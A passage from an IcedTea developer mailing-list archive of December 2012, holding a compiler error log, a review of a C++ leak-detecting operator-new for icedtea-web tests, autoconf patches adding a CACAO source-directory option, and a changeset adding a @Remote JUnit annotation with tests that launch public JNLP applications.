impl.getPrivateKeyUsageExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from PrivateKeyUsageExtension to Extension ---------- 2. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1959) return impl.getSubjectAlternativeNameExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from SubjectAlternativeNameExtension to Extension ---------- 3. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1961) return impl.getNameConstraintsExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from NameConstraintsExtension to Extension ---------- 4. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1963) return impl.getCertificatePoliciesExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from CertificatePoliciesExtension to Extension ---------- 5. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1965) return impl.getExtendedKeyUsageExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from ExtendedKeyUsageExtension to Extension ---------- 6. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1979) return new PrivateKeyUsageExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from PrivateKeyUsageExtension to Extension ---------- 7. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1984) return new SubjectAlternativeNameExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from SubjectAlternativeNameExtension to Extension ---------- 8. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1986) return new NameConstraintsExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from NameConstraintsExtension to Extension ---------- 9. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1988) return new CertificatePoliciesExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from CertificatePoliciesExtension to Extension ---------- 10. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1990) return new ExtendedKeyUsageExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from ExtendedKeyUsageExtension to Extension ---------- 10 problems (10 errors)make[6]: *** [.compile.classlist] Error 255 make[6]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make/java/security' make[5]: *** [all] Error 1 make[5]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make/java' make[4]: *** [all] Error 1 make[4]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make' make[3]: *** [jdk-build] Error 2 make[3]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' make[2]: *** [build_product_image] Error 2 make[2]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' make[1]: *** [jdk_only] Error 2 make[1]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' make: *** [stamps/icedtea-ecj.stamp] Error 2 From ptisnovs at redhat.com Thu Dec 20 07:13:43 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Thu, 20 Dec 2012 10:13:43 -0500 (EST) Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix In-Reply-To: <50D1D0B6.4050105@redhat.com> Message-ID: <1872243162.3085993.1356016423911.JavaMail.root@redhat.com> Hi Adam, this patch looks very good in overall, but I'm not sure (=I'm dumb today) why can't you simply use ::new and ::delete operators to override them in following place: +void* operator new(size_t size) throw (std::bad_alloc) { + if (!__allocations) { + // This uses placement-new, which calls the constructor on a specific memory location + // This is needed because we cannot call 'new' in this context, nor can we rely on static-initialization + // for the set to occur before any call to 'new'! + void* memory = malloc(sizeof(AllocationSet)); + __allocations = new (memory) AllocationSet(); + } + + void* mem = malloc(size); + if (mem == 0) { + throw std::bad_alloc(); // ANSI/ISO compliant behavior + } + __allocations->insert(mem); + return mem; + Cheers, Pavel ----- Adam Domurad wrote: > The unit test infrastructure + tests: > 2012-12-XX Adam Domurad > > * tests/cpp-unit-tests/browser_mock.cc > (mock_retainobject): New, mocks behaviour of NPAPI retainobject > (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject > * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on > operator-new. > * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests > for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and > (IcedTeaScriptableJavaPackageObject::deAllocate) > * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not > use operator-new, to prevent recursion in overloaded operator-new > * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload > that has allocation-set for querying live allocations. > > The fix: > 2012-12-XX Adam Domurad > > * plugin/icedteanp/IcedTeaScriptablePluginObject.cc > (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak > (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak From stefan at complang.tuwien.ac.at Thu Dec 20 08:02:39 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Thu, 20 Dec 2012 17:02:39 +0100 Subject: [RFC 1/2 v2] PR1176: Added --with-cacao-src-dir option Message-ID: https://bitbucket.org/Ringdingcoder/icedtea7/commits/bd37843206b21eff8a9a2b94de2f169936ed6a41 diff -r 1a8e93b7fe96 -r bd37843206b2 ChangeLog --- a/ChangeLog Wed Dec 19 18:38:08 2012 +0000 +++ b/ChangeLog Thu Dec 20 16:41:31 2012 +0100 @@ -1,3 +1,16 @@ +2012-12-20 Stefan Ring + + PR1176: Added --with-cacao-src-dir option + * acinclude.m4: + (IT_WITH_CACAO_SRC_DIR): Brought in line with local customs. + + Transplant of + 2009-10-01 Robert Schuster + + * configure.ac: Added --with-cacao-src-dir option. + * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. + * Makefile.am: Copy Cacao sources when USE_ALT_CACAO_SRC_DIR is used. + 2010-09-24 Andrew John Hughes * Makefile.am: diff -r 1a8e93b7fe96 -r bd37843206b2 Makefile.am --- a/Makefile.am Wed Dec 19 18:38:08 2012 +0000 +++ b/Makefile.am Thu Dec 20 16:41:31 2012 +0100 @@ -1077,6 +1077,8 @@ stamps/download-cacao.stamp: if BUILD_CACAO if !USE_SYSTEM_CACAO +if USE_ALT_CACAO_SRC_DIR +else if USE_ALT_CACAO_SRC_ZIP ln -sf $(ALT_CACAO_SRC_ZIP) $(CACAO_SRC_ZIP) endif @@ -1098,6 +1100,7 @@ fi endif endif +endif mkdir -p stamps touch $@ @@ -1277,6 +1280,14 @@ stamps/extract-cacao.stamp: stamps/download-cacao.stamp if BUILD_CACAO if !USE_SYSTEM_CACAO +if USE_ALT_CACAO_SRC_DIR + set -e ; \ + if ! test -d cacao ; \ + then \ + mkdir -p cacao/cacao ; \ + cp -r $(ALT_CACAO_SRC_DIR)/* cacao/cacao/ ; \ + fi +else set -e ; \ if ! test -d cacao/cacao ; \ then \ @@ -1289,6 +1300,7 @@ fi endif endif +endif mkdir -p stamps touch $@ diff -r 1a8e93b7fe96 -r bd37843206b2 acinclude.m4 --- a/acinclude.m4 Wed Dec 19 18:38:08 2012 +0000 +++ b/acinclude.m4 Thu Dec 20 16:41:31 2012 +0100 @@ -805,7 +805,7 @@ AC_MSG_ERROR([Invalid CACAO source zip specified: ${ALT_CACAO_SRC_ZIP}]) fi ], - [ + [ ALT_CACAO_SRC_ZIP="not specified" ]) AM_CONDITIONAL(USE_ALT_CACAO_SRC_ZIP, test "x${ALT_CACAO_SRC_ZIP}" != "xnot specified") @@ -813,6 +813,27 @@ AC_SUBST(ALT_CACAO_SRC_ZIP) ]) +AC_DEFUN([IT_WITH_CACAO_SRC_DIR], +[ + AC_MSG_CHECKING(for a CACAO source directory) + AC_ARG_WITH([cacao-src-dir], + [AS_HELP_STRING(--with-cacao-src-dir,specify the location of the CACAO sources)], + [ + ALT_CACAO_SRC_DIR=${withval} + if test "x${ALT_CACAO_SRC_DIR}" = "xno"; then + ALT_CACAO_SRC_DIR="not specified" + elif ! test -d ${ALT_CACAO_SRC_DIR} ; then + AC_MSG_ERROR([Invalid CACAO source dir specified: ${ALT_CACAO_SRC_DIR}]) + fi + ], + [ + ALT_CACAO_SRC_DIR="not specified" + ]) + AM_CONDITIONAL(USE_ALT_CACAO_SRC_DIR, test "x${ALT_CACAO_SRC_DIR}" != "xnot specified") + AC_MSG_RESULT(${ALT_CACAO_SRC_DIR}) + AC_SUBST(ALT_CACAO_SRC_DIR) +]) + AC_DEFUN([IT_ENABLE_HG], [ AC_REQUIRE([IT_WITH_PROJECT]) diff -r 1a8e93b7fe96 -r bd37843206b2 configure.ac --- a/configure.ac Wed Dec 19 18:38:08 2012 +0000 +++ b/configure.ac Thu Dec 20 16:41:31 2012 +0100 @@ -140,6 +140,7 @@ IT_ENABLE_CACAO IT_WITH_CACAO_HOME IT_WITH_CACAO_SRC_ZIP +IT_WITH_CACAO_SRC_DIR IT_ENABLE_JAMVM IT_WITH_JAMVM_SRC_ZIP From stefan at complang.tuwien.ac.at Thu Dec 20 08:03:35 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Thu, 20 Dec 2012 17:03:35 +0100 Subject: [RFC 2/2 v2] PR1176: Added --with-cacao-src-dir option Message-ID: https://bitbucket.org/Ringdingcoder/icedtea7/commits/75567c2025d9a4b8ef88a8d5dbd9622b57e32b12 diff -r bd37843206b2 -r 75567c2025d9 ChangeLog --- a/ChangeLog Thu Dec 20 16:41:31 2012 +0100 +++ b/ChangeLog Thu Dec 20 16:41:33 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-20 Stefan Ring + + Transplant of b20e2e867dd8 from icedtea6 + * Makefile.am: copy entire CACAO directory, including .hg + 2012-12-20 Stefan Ring PR1176: Added --with-cacao-src-dir option diff -r bd37843206b2 -r 75567c2025d9 Makefile.am --- a/Makefile.am Thu Dec 20 16:41:31 2012 +0100 +++ b/Makefile.am Thu Dec 20 16:41:33 2012 +0100 @@ -1282,10 +1282,10 @@ if !USE_SYSTEM_CACAO if USE_ALT_CACAO_SRC_DIR set -e ; \ - if ! test -d cacao ; \ + if ! test -d cacao/cacao ; \ then \ - mkdir -p cacao/cacao ; \ - cp -r $(ALT_CACAO_SRC_DIR)/* cacao/cacao/ ; \ + mkdir cacao ; \ + cp -rL $(ALT_CACAO_SRC_DIR) cacao/cacao ; \ fi else set -e ; \ From adomurad at redhat.com Thu Dec 20 08:05:12 2012 From: adomurad at redhat.com (Adam Domurad) Date: Thu, 20 Dec 2012 11:05:12 -0500 Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix In-Reply-To: <1872243162.3085993.1356016423911.JavaMail.root@redhat.com> References: <1872243162.3085993.1356016423911.JavaMail.root@redhat.com> Message-ID: <50D33738.4060808@redhat.com> On 12/20/2012 10:13 AM, Pavel Tisnovsky wrote: > Hi Adam, > > this patch looks very good in overall, but I'm not sure (=I'm dumb today) why can't you > simply use ::new and ::delete operators to override them in following place: > > +void* operator new(size_t size) throw (std::bad_alloc) { > + if (!__allocations) { > + // This uses placement-new, which calls the constructor on a specific memory location > + // This is needed because we cannot call 'new' in this context, nor can we rely on static-initialization > + // for the set to occur before any call to 'new'! > + void* memory = malloc(sizeof(AllocationSet)); > + __allocations = new (memory) AllocationSet(); > + } > + > + void* mem = malloc(size); > + if (mem == 0) { > + throw std::bad_alloc(); // ANSI/ISO compliant behavior > + } > + __allocations->insert(mem); > + return mem; > + > > Cheers, > Pavel As we discussed, this would be recursive. http://stackoverflow.com/questions/4134195/how-do-i-call-the-original-operator-new-if-i-have-overloaded-it indicates that the only approach is to recreate operator-new using malloc. Thanks, will push as is (as we also discussed off-list), -Adam > > ----- Adam Domurad wrote: >> The unit test infrastructure + tests: >> 2012-12-XX Adam Domurad >> >> * tests/cpp-unit-tests/browser_mock.cc >> (mock_retainobject): New, mocks behaviour of NPAPI retainobject >> (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject >> * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on >> operator-new. >> * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests >> for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and >> (IcedTeaScriptableJavaPackageObject::deAllocate) >> * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not >> use operator-new, to prevent recursion in overloaded operator-new >> * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload >> that has allocation-set for querying live allocations. >> >> The fix: >> 2012-12-XX Adam Domurad >> >> * plugin/icedteanp/IcedTeaScriptablePluginObject.cc >> (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak >> (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak From stefan at complang.tuwien.ac.at Thu Dec 20 08:05:41 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Thu, 20 Dec 2012 17:05:41 +0100 Subject: PING: PR1176: Added --with-cacao-src-dir option In-Reply-To: References: <1204021510.6590692.1352301626060.JavaMail.root@redhat.com> <492042789.6591839.1352301716265.JavaMail.root@redhat.com> Message-ID: On Sat, Dec 15, 2012 at 6:31 PM, Stefan Ring wrote: >> Further to that, the one in the commit message is wrong as Stefan >> didn't write this: >> >> 2009-10-01 Robert Schuster >> >> * configure.ac: Added --with-cacao-src-dir option. >> * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. >> * Makefile.am: Copy Cacao sources when USE_ALT_CACAO_SRC_DIR is used. > > What do you want me to do exactly? Copy Robert's old changelog entry > over? It doesn't really fit, as the identifier got later renamed to > IT_WITH_CACAO_SRC_DIR after its original inclusion in icedtea6. Andrew, better? -> http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021216.html http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021217.html From jvanek at icedtea.classpath.org Thu Dec 20 08:11:58 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:11:58 +0000 Subject: /hg/icedtea-web: Added and applied Remote annotation, added Remo... Message-ID: changeset 18ee1b8417d8 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=18ee1b8417d8 author: Jiri Vanek date: Thu Dec 20 17:10:38 2012 +0100 Added and applied Remote annotation, added Remote tests. diffstat: ChangeLog | 18 + tests/junit-runner/JunitLikeXmlOutputListener.java | 21 +- tests/junit-runner/LessVerboseTextListener.java | 38 +- tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java | 9 + tests/report-styles/jreport.xsl | 10 + tests/reproducers/custom/remote/srcs/Makefile | 5 + tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java | 231 ++++++++++ tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java | 144 ++++++ tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java | 52 ++ 9 files changed, 513 insertions(+), 15 deletions(-) diffs (truncated from 716 to 500 lines): diff -r 892cc7f39358 -r 18ee1b8417d8 ChangeLog --- a/ChangeLog Tue Dec 18 16:15:01 2012 +0100 +++ b/ChangeLog Thu Dec 20 17:10:38 2012 +0100 @@ -1,3 +1,21 @@ +2012-12-18 Jiri Vanek + + Added and applied Remote annotation, added Remote tests: + * tests/report-styles/jreport.xsl: and + * tests/junit-runner/JunitLikeXmlOutputListener: and + * tests/junit-runner/LessVerboseTextListener.java: added handling of + Remote annotation + * tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java: + Tests downloading from classpath.org marked. + * tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java: + new file, handling url and evaluations of remote reproducers + * tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java: + launcher for remote tests. + * tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java: + Implementation of Remote annotation + + + 2012-12-18 Jiri Vanek Cleaned unit-tests: diff -r 892cc7f39358 -r 18ee1b8417d8 tests/junit-runner/JunitLikeXmlOutputListener.java --- a/tests/junit-runner/JunitLikeXmlOutputListener.java Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/junit-runner/JunitLikeXmlOutputListener.java Thu Dec 20 17:10:38 2012 +0100 @@ -23,6 +23,7 @@ import java.util.concurrent.TimeUnit; import net.sourceforge.jnlp.annotations.Bug; import net.sourceforge.jnlp.annotations.KnownToFail; +import net.sourceforge.jnlp.annotations.Remote; import org.junit.internal.JUnitSystem; @@ -49,6 +50,7 @@ private static final String BUGS = "bugs"; private static final String BUG = "bug"; private static final String K2F = "known-to-fail"; + private static final String REMOTE = "remote"; private static final String TEST_NAME_ATTRIBUTE = "name"; private static final String TEST_TIME_ATTRIBUTE = "time"; private static final String TEST_IGNORED_ATTRIBUTE = "ignored"; @@ -172,6 +174,7 @@ double testTimeSeconds = ((double) testTime) / 1000d; testDone(description, testTime, testTimeSeconds, false); } + private void testDone(Description description, long testTime, double testTimeSeconds, boolean ignored) throws Exception { Class testClass = null; @@ -197,16 +200,14 @@ if (ignored){ testcaseAtts.put(TEST_IGNORED_ATTRIBUTE, Boolean.TRUE.toString()); } - KnownToFail k2f=null; - try { - if (testClass != null && testMethod != null) { - k2f = testMethod.getAnnotation(KnownToFail.class); - if (k2f != null) { - testcaseAtts.put(K2F, Boolean.TRUE.toString()); - } - } - } catch (Exception ex) { - ex.printStackTrace(); + KnownToFail k2f = LessVerboseTextListener.getAnnotation(testClass, testMethod.getName(), KnownToFail.class); + Remote remote = LessVerboseTextListener.getAnnotation(testClass, testMethod.getName(), Remote.class); + if (k2f != null) { + testcaseAtts.put(K2F, Boolean.TRUE.toString()); + } + if (remote != null) { + testcaseAtts.put(REMOTE, Boolean.TRUE.toString()); + } openElement(TEST_ELEMENT, testcaseAtts); if (testFailed != null) { diff -r 892cc7f39358 -r 18ee1b8417d8 tests/junit-runner/LessVerboseTextListener.java --- a/tests/junit-runner/LessVerboseTextListener.java Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/junit-runner/LessVerboseTextListener.java Thu Dec 20 17:10:38 2012 +0100 @@ -6,8 +6,10 @@ * http://www.eclipse.org/legal/cpl-v10.html */ import java.io.PrintStream; +import java.lang.annotation.Annotation; import java.lang.reflect.Method; import net.sourceforge.jnlp.annotations.KnownToFail; +import net.sourceforge.jnlp.annotations.Remote; import org.junit.internal.JUnitSystem; import org.junit.runner.Description; @@ -37,6 +39,7 @@ public void testIgnored(Description description) throws Exception { writer.println("Ignored: " + description.getClassName() + "." + description.getMethodName()); printK2F(writer, null, description); + printRemote(writer, description); } @@ -45,6 +48,7 @@ testFailed = true; writer.println("FAILED: " + failure.getTestHeader() + " " + failure.getMessage()); printK2F(writer,true,failure.getDescription()); + printRemote(writer, failure.getDescription()); } @Override @@ -52,6 +56,7 @@ if (!testFailed) { writer.println("Passed: " + description.getClassName() + "." + description.getMethodName()); printK2F(writer,false,description); + printRemote(writer, description); } } @@ -93,18 +98,22 @@ } } - public static KnownToFail getK2F(Description description) { + + public static T getAnnotation(Class q, String methodName, Class a) { try { - Class q = description.getTestClass(); if (q != null) { - String qs = description.getMethodName(); + T rem = (T) q.getAnnotation(a); + if (rem != null) { + return rem; + } + String qs = methodName; if (qs.contains(" - ")) { qs = qs.replaceAll(" - .*", ""); } Method qm = q.getMethod(qs); if (qm != null) { - KnownToFail k2f = qm.getAnnotation(KnownToFail.class); - return k2f; + rem = qm.getAnnotation(a); + return rem; } } @@ -114,4 +123,23 @@ return null; } + public static KnownToFail getK2F(Description description) { + return (KnownToFail) getAnnotation(description.getTestClass(), description.getMethodName(), KnownToFail.class); + } + + public static Remote getRemote(Description description) { + return (Remote) getAnnotation(description.getTestClass(), description.getMethodName(), Remote.class); + + } + + private void printRemote(PrintStream writer, Description description) { + try { + Remote rem = getRemote(description); + if (rem != null) { + writer.println(" - This test is running remote content, note that failures may be caused by broken taget application or connection"); + } + } catch (Exception ex) { + ex.printStackTrace(); + } + } } diff -r 892cc7f39358 -r 18ee1b8417d8 tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Thu Dec 20 17:10:38 2012 +0100 @@ -50,6 +50,7 @@ import net.sourceforge.jnlp.ServerAccess; import net.sourceforge.jnlp.runtime.JNLPClassLoader.CodeBaseClassLoader; import net.sourceforge.jnlp.annotations.Bug; +import net.sourceforge.jnlp.annotations.Remote; import org.junit.AfterClass; import org.junit.Assert; @@ -122,6 +123,7 @@ "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017626.html", "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017667.html"}) @Test + @Remote public void testClassResourceLoadSuccessCachingApplication() throws Exception { setWSA(); //we are testing new resource not in cache @@ -129,6 +131,7 @@ } @Test + @Remote public void testClassResourceLoadSuccessCachingApplet() throws Exception { setApplet(); //so new resource again not in cache @@ -136,6 +139,7 @@ } @Test + @Remote public void testResourceLoadSuccessCachingApplication() throws Exception { setWSA(); //we are testing new resource not in cache @@ -143,6 +147,7 @@ } @Test + @Remote public void testResourceLoadSuccessCachingApplet() throws Exception { setApplet(); //so new resource again not in cache @@ -196,6 +201,7 @@ "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017626.html", "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017667.html"}) @Test + @Remote public void testResourceLoadFailureCachingApplication() throws Exception { setWSA(); testResourceCaching("net/sourceforge/jnlp/about/Main_FOO_.class", false); @@ -208,12 +214,14 @@ } @Test + @Remote public void testParentClassLoaderIsAskedForClassesApplication() throws Exception { setWSA(); testParentClassLoaderIsAskedForClasses(); } @Test + @Remote public void testParentClassLoaderIsAskedForClassesApplet() throws Exception { setApplet(); testParentClassLoaderIsAskedForClasses(); @@ -248,6 +256,7 @@ } @Test + @Remote public void testNullFileSecurityDescApplet() throws Exception { setApplet(); testNullFileSecurityDesc(); diff -r 892cc7f39358 -r 18ee1b8417d8 tests/report-styles/jreport.xsl --- a/tests/report-styles/jreport.xsl Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/report-styles/jreport.xsl Thu Dec 20 17:10:38 2012 +0100 @@ -268,6 +268,11 @@ + + + + - This test is running remote content, note that failures may be caused by broken taget application or connection + @@ -279,6 +284,11 @@ - This test is known to fail + + + - This test is running remote content, note that failures may be caused by broken taget application or connection + +
diff -r 892cc7f39358 -r 18ee1b8417d8 tests/reproducers/custom/remote/srcs/Makefile --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/custom/remote/srcs/Makefile Thu Dec 20 17:10:38 2012 +0100 @@ -0,0 +1,5 @@ +prepare-reproducer: + echo "Nothing to do to prepare remote reproducers now" + +clean-reproducer: + echo "Nothing to do to clean remote reproducers now" diff -r 892cc7f39358 -r 18ee1b8417d8 tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java Thu Dec 20 17:10:38 2012 +0100 @@ -0,0 +1,231 @@ +/* RemoteApplicationTests.java + Copyright (C) 2011 Red Hat, Inc. + + This file is part of IcedTea. + + IcedTea is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as published by + the Free Software Foundation, version 2. + + IcedTea is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with IcedTea; see the file COPYING. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + + Linking this library statically or dynamically with other modules is + making a combined work based on this library. Thus, the terms and + conditions of the GNU General Public License cover the whole + combination. + + As a special exception, the copyright holders of this library give you + permission to link this library with independent modules to produce an + executable, regardless of the license terms of these independent + modules, and to copy and distribute the resulting executable under + terms of your choice, provided that you also meet, for each linked + independent module, the terms and conditions of the license of that + module. An independent module is a module which is not derived from + or based on this library. If you modify this library, you may extend + this exception to your version of the library, but you are not + obligated to do so. If you do not wish to do so, delete this + exception statement from your version. + */ + +import java.net.MalformedURLException; +import java.net.URL; +import net.sourceforge.jnlp.ProcessResult; +import org.junit.Assert; +import org.junit.Test; + +; + +public class RemoteApplicationSettings { + + public static final String mustEmpty = "must be empty, was not"; + public static final String stdout = "Stdout"; + public static final String stderr = "Stderr"; + public static final String stdoutEmpty = stdout + " " + mustEmpty; + public static final String stderrEmpty = stderr + " " + mustEmpty; + + public static URL createCatchedUrl(String r) { + try { + return new URL(r); + } catch (MalformedURLException mex) { + throw new RuntimeException(mex); + } + } + + public interface RemoteApplicationTestcaseSettings { + + public URL getUrl(); + + public void evaluate(ProcessResult pr); + } + + public static abstract class StringBasedURL implements RemoteApplicationTestcaseSettings { + + URL u; + + @Override + public URL getUrl() { + return u; + } + + public StringBasedURL(String r) { + this.u = createCatchedUrl(r); + } + } + + public static class FourierTransform extends StringBasedURL { + + public FourierTransform() { + super("http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.length() == 0 || pr.stderr.contains(IllegalStateException.class.getName())); + + } + } + + public static class OrawebCernCh extends StringBasedURL { + + public OrawebCernCh() { + super("https://oraweb.cern.ch/pls/atlasintegration/docs/EMDH_atlas.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.length() == 0 || pr.stderr.contains("Cannot grant permissions to unsigned jars. Application requested security permissions, but jars are not signed")); + + } + } + + public static class GnattProject extends StringBasedURL { + + public GnattProject() { + super("http://ganttproject.googlecode.com/svn/webstart/ganttproject-2.0.10/ganttproject-2.0.10.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdout, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.contains("Splash closed")); + Assert.assertFalse(pr.stderr.contains("Exception")); + + } + } + + public static class GeoGebra extends StringBasedURL { + + public GeoGebra() { + super("http://www.geogebra.org/webstart/geogebra.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(pr.stdout.length() > 0); + Assert.assertTrue(pr.stderr.length() > 0); + Assert.assertFalse(pr.stderr.contains("Exception")); + Assert.assertFalse(pr.stdout.contains("Exception")); + + } + } + + public abstract static class NoOutputs extends StringBasedURL { + + public NoOutputs(String r) { + super(r); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(stderrEmpty, pr.stderr.length() == 0); + + } + } + + public static class Arbores extends NoOutputs { + + public Arbores() { + super("http://www.arbores.ca/AnnuityCalc.jnlp"); + } + } + + public static class PhetSims extends NoOutputs { + + public PhetSims() { + super("http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp"); + } + } + + public static class TopCoder extends NoOutputs { + + public TopCoder() { + super("http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp"); + } + } + + public static class SunSwingDemo extends NoOutputs { + + public SunSwingDemo() throws MalformedURLException { + super("http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp"); + } + } + + public static class ArboresDeposit extends NoOutputs { + + public ArboresDeposit() throws MalformedURLException { + super("http://www.arbores.ca/Deposit.jnlp"); + } + } + + public static class AviationWeather extends NoOutputs { + + public AviationWeather() { + super("http://aviationweather.gov/static/adds/java/fpt/fpt.jnlp"); + } + } + + public static class FuseSwing extends NoOutputs { + + public FuseSwing() { + super("http://www.progx.org/users/Gfx/apps/fuse-swing-demo.jnlp"); + } + } + + @Test + public void remoteApplicationSettingsAreWorking() throws Exception { + RemoteApplicationTestcaseSettings s5 = new FourierTransform(); + Assert.assertNotNull(s5.getUrl()); + RemoteApplicationTestcaseSettings s4 = new Arbores(); + Assert.assertNotNull(s4.getUrl()); + RemoteApplicationTestcaseSettings s3 = new PhetSims(); + Assert.assertNotNull(s3.getUrl()); + RemoteApplicationTestcaseSettings s2 = new TopCoder(); + Assert.assertNotNull(s2.getUrl()); + RemoteApplicationTestcaseSettings s1 